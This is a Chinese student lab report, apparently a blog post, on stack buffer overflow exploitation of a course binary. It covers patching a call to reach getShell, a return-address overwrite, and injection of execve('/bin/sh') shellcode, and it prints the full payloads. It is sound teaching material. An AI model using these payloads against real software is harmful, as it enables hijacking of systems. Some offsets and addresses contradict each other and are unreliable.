20251918 2024-2025-2 《网络攻防实践》实践九报告

这次实验由于文件出处以及断网等原因导致终端有些图片没有学号

1.实践内容

1.1 实践目标

本次实践围绕一个名为 pwn1_20251918 的 Linux 可执行文件展开。该程序的正常执行路径为 main 调用 foo 函数,foo 函数将用户输入的字符串原样回显。此外,程序内还包含一个 getShell 代码片段,其功能是获取一个可用的 Shell,但在常规流程下该段代码不会被执行。
实践的核心目标是设法触发 getShell 函数,从而掌握两种改变程序执行流程的基本攻击方法:

方法一:手工修改可执行文件,将 call foo 指令的目标地址直接改为 getShell 的入口地址;

方法二:利用 foo 函数的缓冲区溢出漏洞,构造特定输入,覆盖函数返回地址并使其跳转至 getShell。

在此基础上,进一步学习如何注入一段自定义的 shellcode,并通过覆盖返回地址使其得到执行,最终获得目标主机的 Shell 控制权。

1.2 实践内容

本次实践包含三个核心内容,具体如下:
1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数;
2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数;
3、注入一个自己制作的shellcode并运行这段shellcode。

1.3 相关知识梳理总结

本次实验涉及从可执行文件静态修改到动态漏洞利用的完整流程,以下对贯穿其中的几项核心知识进行系统梳理,并结合实践内容加以说明。

1. 汇编语言与机器码

汇编语言是面向特定CPU架构的低级语言,使用助记符(如mov、jmp、call)表示指令,经汇编器转换为二进制机器码后由CPU直接执行。每条指令都有对应的机器码,例如空指令NOP的机器码为0x90,无条件跳转JMP的短转移形式为0xEB、近转移为0xE9。在2.1节中,我们面对main调用foo的call指令,其操作码0xE8与后续4字节小端偏移量共同构成了完整机器码;通过计算getShell与call下一条指令的地址差,将偏移量改为0xffffffc3,成功修改了执行流程,直观体现了汇编与机器码的对应关系。

2. 反汇编技术

反汇编是将二进制可执行文件还原为汇编代码的过程,常用工具有objdump、GDB、IDA Pro等。反汇编的目的是在无源码的情况下理解程序逻辑、定位关键地址和潜在漏洞。本次实践中,我们反复使用objdump -d查看程序结构,获得getShell地址(0x0804847d)、foo函数布局及call指令所在位置;在动态调试时,用gdb的disassemble命令确认函数起始与ret指令位置,并通过断点观察栈帧变化。这些分析均以反汇编结果为基础。

3. 核心汇编指令及机器码

除call指令外,实验中还涉及多类重要指令及其机器码:

(1)NOP (0x90):空操作,常填充在Shellcode前形成“NOP雪橇”,增大跳转成功的容错率。

(2)比较与条件跳转:如CMP配合JE(0x74)/JNE(0x75)实现分支,虽然在本次实验中未直接修改,但它们是理解程序正常逻辑的基础。

(3)JMP (0xEB/E9等):无条件转移,修改文件时我们实质上将call变成了到getShell的无条件“跳转”(仍为call语义)。

(4)int 0x80 (0xCD80):Linux x86系统调用中断,Shellcode中正是通过它触发execve来执行/bin/sh。
掌握这些指令的机器码,是手工编辑二进制文件和编写Shellcode的前提。

4. 缓冲区溢出攻击基础

缓冲区溢出是指向栈中定长缓冲区写入超长数据,导致保存的EBP和返回地址被覆盖。攻击者通过精心构造输入,可将返回地址替换为目标代码的入口地址,劫持程序控制流。在2.2节中,我们首先通过输入超长字符串观察EIP被覆盖为“3456”,从而确定缓冲区到返回地址的偏移为8字节(含4字节EBP);然后构造“32字节填充+getShell地址”的载荷,成功触发getShell。这一过程完整演示了栈溢出的发现、定位与利用方法。

5. Shellcode详解

Shellcode是一段以机器码形式存在的可执行代码,得名于其最初常用于弹出Shell(如/bin/sh),如今已泛指各种注入执行的指令片段。本次实验使用的Shellcode功能为执行execve("/bin/sh", ...),其汇编逻辑为:将"/bin/sh"字符串压栈,设置寄存器指向参数,最后通过int 0x80发起系统调用。为使Shellcode生效,需提前关闭地址随机化、设置堆栈可执行,并准确计算其在栈中的存放地址(2.3节中通过GDB确定栈顶0xffffcf4c作为入口)。最终将返回地址覆盖为该值,成功获得Shell。

上述五方面知识相互关联、层层递进:汇编语言与机器码是理解一切底层操作的基础;反汇编技术提供了静态和动态分析的手段;核心指令的运用贯穿于文件修改与Shellcode构造;缓冲区溢出原理则是实施攻击的理论依据;Shellcode技术最终将漏洞转化为实际控制能力。它们共同构成了本次实验的知识骨架,也是软件安全与漏洞利用领域的必备基础。

2.实践过程

2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

(1)首先按照实验要求,先将命令行的名字改成自己的学号,输入指令hostname hejunhua
06aa96d7-ebbb-4b3f-9916-b3923aee0f61
(2)将老师下发的 Linux 可执行文件所在文件夹,完整拷贝至 Kali 虚拟机中,并将文件夹、文件名及 Kali 虚拟机主机名统一修改为包含个人信息的自定义名称。
a6991343-648f-4603-b7c8-f7d7f33d7a40
(3)进入文件夹后打开终端输入命令objdump -d pwn1_20251918 | more,对可执行文件pwn1_20251918进行反汇编
6e946d97-0e30-42f9-8b02-8854822b2221
由主函数反汇编可知,main 调用 foo 的机器指令为 e8 d7ffffff,其中 e8 是相对调用操作码,d7ffffff 为小端表示的偏移量 -41(0x29)。实际跳转地址通过下条指令地址加上偏移量算出:80484ba + ffffffd7 = 80484ba - 0x29 = 8048491,即 foo 的入口。若要将调用目标改为 getShell,只需用 getShell 地址重新计算偏移:804847d - 80484ba = ffffffc3,对应补码为 c3ffffff,替换原偏移量即可。
(4)使用vim pwn1_20251918打开文件
e8734245-6914-4f7d-83fd-1fa6418ea035
81897998-1d97-4368-a411-da1928485ae5

(5)输入指令:%!xxd以十六进制形式查看

44574874-ef67-4a47-b822-368dbb0abdcd
找需要修改的部分,输入指令 i将d7 改为 c3;执行 :%!xxd -r 命令还原为原文件格式,保存并退出编辑。
(6)再次输入objdump -d pwn1_20251918查看返汇编代码,看见代码被成功修改!“call .......getshell”
fd39310f-f6b4-4718-a067-7ab6e69e88c0

2.2 利用foo函数的Bof漏洞,生成攻击输入字符串,覆盖返回地址,从而触发getShell函数

(1)输入 objdump -d pwn1_20251918 | more 查看pwn文件。
4502c708-247a-4db2-b1c4-d37e7068b23a
上面这个函数 getShell,我们的目标是触发这个函数。
该可执行文件正常运行是调用如下函数 foo,仔细分析后发现foo函数存在漏洞:系统仅预留了 28(0x1c)字节的缓冲区,超出部分将发生溢出,我们的目标是覆盖返回地址。

(2)下载gdb工具做汇编程序调试,
1a82d022-e13a-40d0-93db-31ec93f9dfb0

52ccc8fa-2e40-49b2-940a-47eb9215f74e

(3) 安装gdb工具后输入命令gdb pwn20251918进入gdb模式
b25f8b80-10b5-4576-8cd9-d2f8e05902a1

输入 r 执行程序,连续输入 5 遍 1234567890 组成的字符串(总计 200 个字符);随后输入 info r 查看寄存器信息,发现 EIP 寄存器的值为 0x36353433,同时 EBP 寄存器的值为 0x32313039。对照 ASCII 码表可知,这两个十六进制值分别直接对应字符串 "6543" 和 "2109";结合 x86 架构的小端存储规则,可确定它们在内存中实际存储的是输入数据中的 "3456" 和 "9012"。结合输入的 1234567890 循环字符序列,可知 "9012" 是输入的第 9-12 个字符,"3456" 是紧随其后的第 13-16 个字符。根据 32 位程序的标准栈帧布局,缓冲区之后依次为保存的 EBP(4 字节)和函数返回地址(4 字节),因此输入数据中前 8 个字符被正常存入缓冲区,第 9-12 个字符覆盖了栈中保存的 EBP 值,从第 13 个字符开始覆盖函数返回地址,由此可确定该程序的缓冲区大小为 8 字节。
09ea6ebe-0df7-4f33-b5f5-39197685bf6b

4e68d3bc-7ff8-400c-baec-c7be4e8e0c42

已知getshell函数的地址为0x0804847d,由于系统采用小端存储模式,需将地址字节逆序写入;结合缓冲区大小,构造完整覆盖数据为:11111111222222223333333344444444\x7d\x84\x04\x08。

(4)执行命令 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > hjh_input,通过 Perl 生成包含该攻击数据的文件并保存至hjh_input:

c1aa9b99-f400-4130-b634-84e08b337332

(5) 通过管道组合命令(cat hjh_input; cat) | ./pwn1_20251918,先读取并注入hjh_input文件内容,再保留终端交互输入,将数据传递给目标程序pwn20251918

f82aff6a-fe71-455e-9d4b-11649a83f7c4

2.3 注入一个自己制作的shellcode并运行这段shellcode

(1)在 Kali 虚拟机中安装execstack wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb

81d233da-b4a8-4cc0-a9af-65f2dbd82037

(2)使用sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb解压缩包

d776adc2-eff0-4b0a-b98e-e16a87fad774

(3)设置pwn1_20251918程序堆栈可执行,并进一步查询是否设置成功。

execstack -s pwn1_20251918 execstack -q pwn1_20251918

1ee1541b-441c-4ea8-a716-c73f6ecdf414

(4) 查看地址随机化的状态,需要关闭地址随机化。输出为0代表已关闭
more /proc/sys/kernel/randomize_va_space
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

1ee1541b-441c-4ea8-a716-c73f6ecdf414

(5) 使用输出重定向将perl生成的字符串存储到attack_20251918文件中:

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > attack_20251918hjh

使用ls查看

b4e95bb2-a5e8-4888-9876-81fcc9c8d705

(6)文件payload完成初始注入(触发漏洞),终端stdin接管后续输入(维持交互式会话)。再开一个终端2查看pwn1_20251918进程号为61776

终端1:(cat attack_20251918hjh;cat) | ./pwn1_20251918

终端2:ps -ef | grep pwn1_20251918

75194ff5-1869-42cf-9cd7-d45da881322e

85e1de24-85f6-4d00-a798-460cab72971b

(7) 再开一个终端对pwn1_20251918文件进行gdb调试。在ret处设置断点,ret的位置是0x080484ae。

gdb pwn1_20251918

attach 61776

disassemble foo

break *0x080484ae

edb93ade-d3b8-4a35-a09e-01daba30c2d9

3273cdfc-ce33-4baa-9541-63879d56166a

(8) 终端1按回车后,再终端3输入c 继续运行。分别输入info r esp, x/16x 0xffffcf3c

799fc964-9c1b-427e-bfef-afa70a8aa5f4

3be64c03-fd88-4d71-bb4d-03c951176483

查看栈顶指针所在的位置为0xffffcf4c,0x01020304为我们构造的缓冲区数据。在 32 位程序栈帧布局中,缓冲区之后依次为保存的 EBP(4 字节)和函数返回地址(4 字节),因此返回地址的位置为0xffffcf4c + 12 = 0xffffcf58。shellcode 的地址为栈顶指针的地址,即0xffffcf4c,可作为我们覆盖返回地址的目标值。

(9) 退出gbd调试,重新构造 attack_20251918文件。并输入常见指令测试是否拿到shell,成功!

perl -e 'print "A" x 32;print "\x70\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > attack_20251918hjh

(cat attack_attack_20251918hjh;cat) | ./pwn1_20251918

ls

88edfbfe-135a-4358-80f9-ca7d586f8121

3.学习中遇到的问题及解决

  • 问题1:第一个实验第五个步骤按i输入指令后没有效果

81897998-1d97-4368-a411-da1928485ae5

  • 问题1解决方案:直接按住Shift输入指令%!xxd进入十六进制形式查看

  • 问题2:虚拟机断网无法打开百度导致下载不了gbd

  • 问题2解决方案:首先将虚拟机改为桥接模式没有作用,更改了主机网络设置

4.实践总结

本次实践围绕一个包含缓冲区溢出漏洞的Linux可执行文件,完成了从静态二进制修改到动态Shellcode注入的完整攻击流程,对软件安全中“从理论到实践”的认知有了切实提升。实践分为三个递进环节。首先,通过手工修改可执行文件中的call指令偏移量,将程序流程直接导向getShell函数,直观理解了机器码与汇编指令的对应关系以及相对跳转的计算方法。其次,利用foo函数的缓冲区溢出漏洞,通过构造超长输入覆盖函数返回地址,成功劫持控制流跳转至getShell,这一过程完整演示了栈帧分析、偏移定位和地址布局的核心技术。最后,在关闭地址随机化、设置堆栈可执行的前提下,注入自定义Shellcode并使其成功运行,获得了目标主机的Shell控制权。实践中也遇到了一些问题,例如vim编辑二进制文件时指令未生效、虚拟机断网导致工具下载失败等,通过调整操作方式和网络配置逐一解决,积累了实际调试经验。通过本次实践,系统掌握了从漏洞发现、静态分析到动态利用的基本方法,深刻体会到栈溢出攻击的原理与危害,同时也认识到地址随机化、堆栈不可执行等防护机制的重要性,为后续深入学习和安全防御工作奠定了坚实基础。

posted on 2026-05-21 23:03  jh163  阅读(16)  评论(0)    收藏  举报